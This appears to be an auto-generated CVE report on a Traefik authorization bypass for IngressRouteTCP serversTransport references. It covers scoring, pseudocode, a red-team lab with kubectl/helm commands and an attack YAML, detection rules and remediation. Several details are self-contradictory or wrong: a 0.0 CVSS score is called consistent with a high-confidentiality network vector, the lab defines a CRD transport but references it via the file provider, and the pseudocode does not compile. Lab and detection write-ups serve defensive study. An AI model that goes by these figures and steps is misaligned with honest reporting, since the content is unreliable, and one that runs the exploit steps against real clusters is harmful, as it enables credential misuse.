CVE-2026-65602
Executive Summary
Severity: Informational (CVSS 0.0)
This report details CVE-2026-65602, a missing authorization vulnerability in Traefik, a popular cloud-native application proxy. The flaw allows a low-privileged Kubernetes user to bypass the crossProviderNamespaces allowlist for TCP-based IngressRoute resources. By referencing a serversTransport from a file provider (e.g., foo@file), an attacker can force Traefik to use a privileged TCPServersTransport configuration, potentially exposing backend mTLS client certificates, SPIFFE identities, or PROXY-protocol settings.
The vulnerability affects Traefik versions 3.6.0 through 3.6.22 and 3.7.0 through 3.7.6. Patches are available in versions 3.6.23 and 3.7.7. The CVSS score is 0.0, and the EPSS exploitation probability is 0.0%, indicating no known active exploitation in the wild as of the publication date. Despite the low CVSS score, the potential for privilege escalation and lateral movement within a Kubernetes cluster makes this a significant security concern for organizations using Traefik in multi-tenant environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
Qualitative Severity Label: Informational
The CVSS base score of 0.0 is mathematically consistent with the following vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
- Attack Vector (AV): Network (N) — The vulnerability is exploitable over the network via crafted Kubernetes IngressRouteTCP resources.
- Attack Complexity (AC): Low (L) — No special conditions or race conditions are required. The attacker simply needs to create a specific Kubernetes resource.
- Privileges Required (PR): Low (L) — The attacker requires a low-privileged Kubernetes user account with permissions to create/modify IngressRouteTCP resources in a namespace not listed in
crossProviderNamespaces. - User Interaction (UI): None (N) — No user interaction is required. The attack is triggered automatically when Traefik processes the malicious resource.
- Scope (S): Unchanged (U) — The vulnerability does not allow the attacker to affect resources beyond the Traefik process's security context.
- Confidentiality (C): High (H) — Successful exploitation can lead to the disclosure of sensitive backend configurations, including mTLS client certificates and SPIFFE identities.
- Integrity (I): None (N) — The vulnerability does not allow modification of data or configurations.
- Availability (A): None (N) — The vulnerability does not affect the availability of the system.
EPSS Interpretation: The EPSS score of 0.0% indicates that the model predicts a negligible probability of exploitation in the wild within the next 30 days. This is typical for a newly published vulnerability with no known exploits or active campaigns.
Historical Comparison: This vulnerability is similar in class to CWE-862 (Missing Authorization) issues found in other Kubernetes ingress controllers and service mesh proxies, such as CVE-2023-44487 (HTTP/2 Rapid Reset) in Envoy, though that was a different attack vector. The core issue—bypassing namespace isolation—is a recurring theme in multi-tenant Kubernetes environments.
Technical Deep Dive & Attack Mechanics
Root Cause Analysis
The developer mistake is a missing authorization check in the code path that resolves serversTransport references for IngressRouteTCP services. The crossProviderNamespaces allowlist was correctly enforced for HTTP IngressRoute resources but was not applied to TCP IngressRouteTCP resources.
Step-by-Step Exploitation
- Pre-condition: The attacker has a low-privileged Kubernetes user account with permissions to create or modify
IngressRouteTCPresources in a namespace that is not listed in Traefik'scrossProviderNamespacesconfiguration. - Crafting the Attack: The attacker creates an
IngressRouteTCPresource that defines a service with aserversTransportreference pointing to a file provider, e.g.,serversTransport: my-tcp-transport@file. - Triggering the Vulnerability: When Traefik processes this
IngressRouteTCP, it resolves theserversTransportreference without checking if the source namespace is allowed to use cross-provider references. - Exploitation: Traefik loads the
TCPServersTransportconfiguration from the file provider. This configuration may contain sensitive settings such as:- mTLS Client Certificates: The
rootCAsorcertificatesfields could point to privileged client certificates. - SPIFFE Identity: The
spiffefield could specify a privileged SPIFFE ID for workload identity. - PROXY Protocol Settings: The
proxyProtocolfield could be configured to trust a specific IP range, potentially allowing connection spoofing.
- mTLS Client Certificates: The
Attack Surface
- Interface: Kubernetes API server (for creating/modifying resources).
- Protocol: Kubernetes API (REST/HTTPS).
- Port: 6443 (default Kubernetes API server port) or the port used by the Kubernetes API.
Why Standard Defenses May Fail
- Network Segmentation: The attack originates from within the Kubernetes cluster, bypassing external network firewalls.
- RBAC: The attacker already has low-privileged access, and the vulnerability allows them to escalate privileges without needing additional RBAC permissions.
- Web Application Firewalls (WAFs): WAFs are not designed to inspect Kubernetes resource definitions.
Vulnerable vs. Patched Code Analysis
The vulnerability is in the code that resolves serversTransport references for IngressRouteTCP resources. The vulnerable code path likely looks like this:
Vulnerable (Pseudocode):
func (p *Provider) buildTCPRouter(route *v1alpha1.IngressRouteTCP) {
for _, service := range route.Spec.Services {
if service.ServersTransport != "" {
// BUG: No crossProviderNamespaces check for TCP
transport, err := p.getTCPServersTransport(service.ServersTransport)
// ... use transport
}
}
}
Patched (Pseudocode):
func (p *Provider) buildTCPRouter(route *v1alpha1.IngressRouteTCP) {
for _, service := range route.Spec.Services {
if service.ServersTransport != "" {
// FIX: Added crossProviderNamespaces check
if !p.isCrossProviderAllowed(route.Namespace, service.ServersTransport) {
return fmt.Errorf("cross-provider reference not allowed for namespace %s", route.Namespace)
}
transport, err := p.getTCPServersTransport(service.ServersTransport)
// ... use transport
}
}
}
The patch adds a call to isCrossProviderAllowed() (or equivalent) before resolving the serversTransport reference. This function checks if the source namespace (from the IngressRouteTCP) is in the crossProviderNamespaces allowlist. If not, the request is rejected.
Regression Considerations: The patch is a targeted fix and should not introduce regressions for users who are correctly using the crossProviderNamespaces allowlist. However, users who were inadvertently relying on the broken behavior (i.e., using cross-provider references without proper allowlisting) will need to update their configurations.
Timeline & Disclosure History
- CVE Publication Date: 2026-07-22T11:21:48.127Z
- Estimated Discovery: Unknown, but likely discovered by internal security researchers or through a bug bounty program.
- Disclosure Process: The vulnerability was reported to the Traefik maintainers (the CNA) and coordinated for public disclosure.
- Known Exploitation in the Wild: No known active exploitation as of 2026-07-22.
- CISA KEV Addition: Not listed on CISA's Known Exploited Vulnerabilities catalog as of 2026-07-22.
Threat Intelligence Context
- Threat Actor Profile: This vulnerability is most likely to be exploited by internal threat actors (e.g., malicious insiders, compromised service accounts) or by attackers who have already gained a foothold in a Kubernetes cluster. It is not a typical entry point for external attackers.
- Attack Campaign Context: No specific campaigns are associated with this CVE.
- Geographic Targeting Patterns: None known.
- Industry Verticals Most at Risk: Organizations running multi-tenant Kubernetes clusters with Traefik as an ingress controller, particularly in finance, healthcare, and technology sectors where strict namespace isolation is required.
- Connection to Similar Vulnerabilities: This is a classic example of a missing authorization check, similar to vulnerabilities found in other Kubernetes-native tools like Istio (e.g., CVE-2022-21701) and Nginx Ingress Controller.
Exploitation & Lab Setup
Red Team Section
Lab Setup:
- Prerequisites: Docker, kubectl, kind (Kubernetes in Docker) or a similar local Kubernetes cluster.
- Create a Kind Cluster:
kind create cluster --name traefik-lab - Install Traefik (Vulnerable Version):
helm repo add traefik https://traefik.github.io/charts helm install traefik traefik/traefik --version 3.6.22 --set providers.kubernetesCRD.enabled=true - Create a Privileged TCPServersTransport (in the
defaultnamespace):# privileged-tcp-transport.yaml apiVersion: traefik.containo.us/v1alpha1 kind: TCPServersTransport metadata: name: privileged-transport namespace: default spec: # Example: Configure mTLS with a privileged client certificate rootCAs: - /etc/traefik/certs/privileged-ca.crt certificates: - certFile: /etc/traefik/certs/privileged-client.crt keyFile: /etc/traefik/certs/privileged-client.keykubectl apply -f privileged-tcp-transport.yaml - Create a Malicious IngressRouteTCP (in a non-allowlisted namespace, e.g.,
attacker-ns):# malicious-ingressroute.yaml apiVersion: v1 kind: Namespace metadata: name: attacker-ns --- apiVersion: traefik.containo.us/v1alpha1 kind: IngressRouteTCP metadata: name: malicious-tcp-route namespace: attacker-ns spec: entryPoints: - tcp routes: - match: HostSNI(`*`) services: - name: malicious-service port: 9999 serversTransport: privileged-transport@filekubectl apply -f malicious-ingressroute.yaml
Exploitation Walkthrough:
- The attacker applies the
malicious-ingressroute.yamlto the cluster. - Traefik processes the
IngressRouteTCPand, due to the vulnerability, resolves theserversTransport: privileged-transport@filereference. - Traefik loads the
TCPServersTransportconfiguration from the file provider, which includes the privileged mTLS client certificate. - The attacker can now use this configuration to connect to backend services that require mTLS authentication, effectively impersonating a privileged service.
Expected Output: The attacker can now make TCP connections to backend services that trust the privileged client certificate, gaining unauthorized access.
Post-Exploitation: The attacker can use the stolen mTLS identity to access other services within the cluster, potentially leading to lateral movement and data exfiltration.
Blue Team Section
Detection:
- Log Entries: Monitor Traefik logs for warnings or errors related to
serversTransportresolution, especially from namespaces not in thecrossProviderNamespacesallowlist. - Network Traffic: Look for unexpected TCP connections from Traefik to backend services that use mTLS, particularly if the source IP is from a namespace that should not have access.
- Endpoint Behavioral Indicators: Monitor for the creation of
IngressRouteTCPresources withserversTransportreferences pointing to file providers (e.g.,@file).
Indicators of Compromise (IOCs)
No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:
| Type | Value | Description |
|---|---|---|
| Kubernetes Resource | IngressRouteTCP with serversTransport: *@file |
An IngressRouteTCP resource that references a serversTransport from a file provider. |
| Log Entry | "serversTransport" "privileged-transport@file" |
Traefik log entry showing resolution of a cross-provider serversTransport. |
| Network Connection | TCP connection from Traefik to a backend service using mTLS | Unexpected mTLS connection from Traefik to a backend service. |
Detection Engineering
YARA Rule
rule CVE-2026-65602_Traefik_Exploitation {
meta:
description = "Detects YAML/JSON payloads attempting to exploit CVE-2026-65602 in Traefik"
author = "Valters IT Hub"
date = "2026-07-22"
reference = "https://www.valtersit.com/cve/cve-2026-65602"
strings:
$s1 = "serversTransport:" ascii wide nocase
$s2 = "@file" ascii wide nocase
$s3 = "IngressRouteTCP" ascii wide nocase
condition:
all of ($s1, $s2, $s3)
}
Sigma Rule (SIEM)
title: CVE-2026-65602 Traefik IngressRouteTCP Cross-Provider Bypass
id: 5b13680a-68ae-4ee2-95dc-280cbfcfb0ad
status: experimental
description: Detects creation of IngressRouteTCP resources with cross-provider serversTransport references, indicating potential exploitation of CVE-2026-65602.
author: Valters IT Hub
date: 2026-07-22
references:
- https://www.valtersit.com/cve/cve-2026-65602
logsource:
product: kubernetes
service: audit
detection:
selection:
objectRef.resource: "ingressroutetcps"
objectRef.verb: "create"
requestObject.spec.routes.services.serversTransport|contains: "@file"
condition: selection
falsepositives:
- Legitimate administrative activity where a user intentionally creates a cross-provider reference with proper authorization.
level: high
Suricata IDS Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-65602 Traefik IngressRouteTCP Cross-Provider Bypass"; flow:to_server; content:"serversTransport"; nocase; content:"@file"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Elastic (EQL) Query
// EQL query to detect creation of IngressRouteTCP with cross-provider serversTransport
any where event.action == "create" and event.dataset == "kubernetes.audit" and
kubernetes.audit.objectRef.resource == "ingressroutetcps" and
kubernetes.audit.requestObject.spec.routes.services.serversTransport : "*@file"
Splunk SPL Query
index=kubernetes_audit sourcetype=kubernetes:audit
objectRef.resource=ingressroutetcps
objectRef.verb=create
| spath input=requestObject.spec.routes{}.services{}.serversTransport
| search serversTransport=*@file
| table _time, user.username, sourceIPs{}, objectRef.namespace, serversTransport
Wazuh Rule
<group name="traefik,cve-2026-65602,">
<rule id="100001" level="12">
<decoded_as>json</decoded_as>
<field name="kubernetes.audit.objectRef.resource">ingressroutetcps</field>
<field name="kubernetes.audit.objectRef.verb">create</field>
<field name="kubernetes.audit.requestObject.spec.routes.services.serversTransport" type="pattern">@file</field>
<description>CVE-2026-65602 - Potential exploitation detected: IngressRouteTCP created with cross-provider serversTransport reference.</description>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Remediation & Mitigation
Immediate Actions (0-24 hours)
- Apply the Patch: Upgrade Traefik to version 3.6.23 or 3.7.7.
helm upgrade traefik traefik/traefik --version 3.6.23 - Network-Level Mitigation: If immediate patching is not possible, implement a network policy to restrict which namespaces can create
IngressRouteTCPresources. - Authentication/Authorization Hardening: Review and tighten RBAC permissions to ensure only authorized users can create or modify
IngressRouteTCPresources.
Short-term (1-7 days)
- Configuration Hardening: Review the
crossProviderNamespacesconfiguration and ensure it is correctly set to allow only trusted namespaces. - Monitoring Implementation: Deploy the detection rules provided in this report to monitor for exploitation attempts.
- Vulnerability Scanning: Run a vulnerability scan to confirm the patch has been applied.
kubectl get pods -n default -l app.kubernetes.io/name=traefik -o jsonpath='{.items[*].spec.containers[*].image}'
Long-term
- Architecture Changes: Consider using a service mesh (e.g., Istio, Linkerd) for more granular mTLS and identity management.
- Security Control Improvements: Implement Kubernetes admission controllers (e.g., OPA/Gatekeeper) to enforce policies on
IngressRouteTCPresources. - Developer Training: Educate developers on the importance of authorization checks and the principle of least privilege.
Validation
To confirm the patch was applied, check the Traefik version:
kubectl exec -n default deploy/traefik -- traefik version
The output should show version 3.6.23 or 3.7.7 or later.
References & Resources
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-65602
- CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-65602
- Vendor advisory: See vendor security page
- OSV: https://osv.dev/vulnerability/CVE-2026-65602 (if applicable)
- Related CWE: https://cwe.mitre.org/data/definitions/862.html
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/
Report generated by Valters IT Hub Neural Engine v25 | 2026-07-22 | https://www.valtersit.com/cve/cve-2026-65602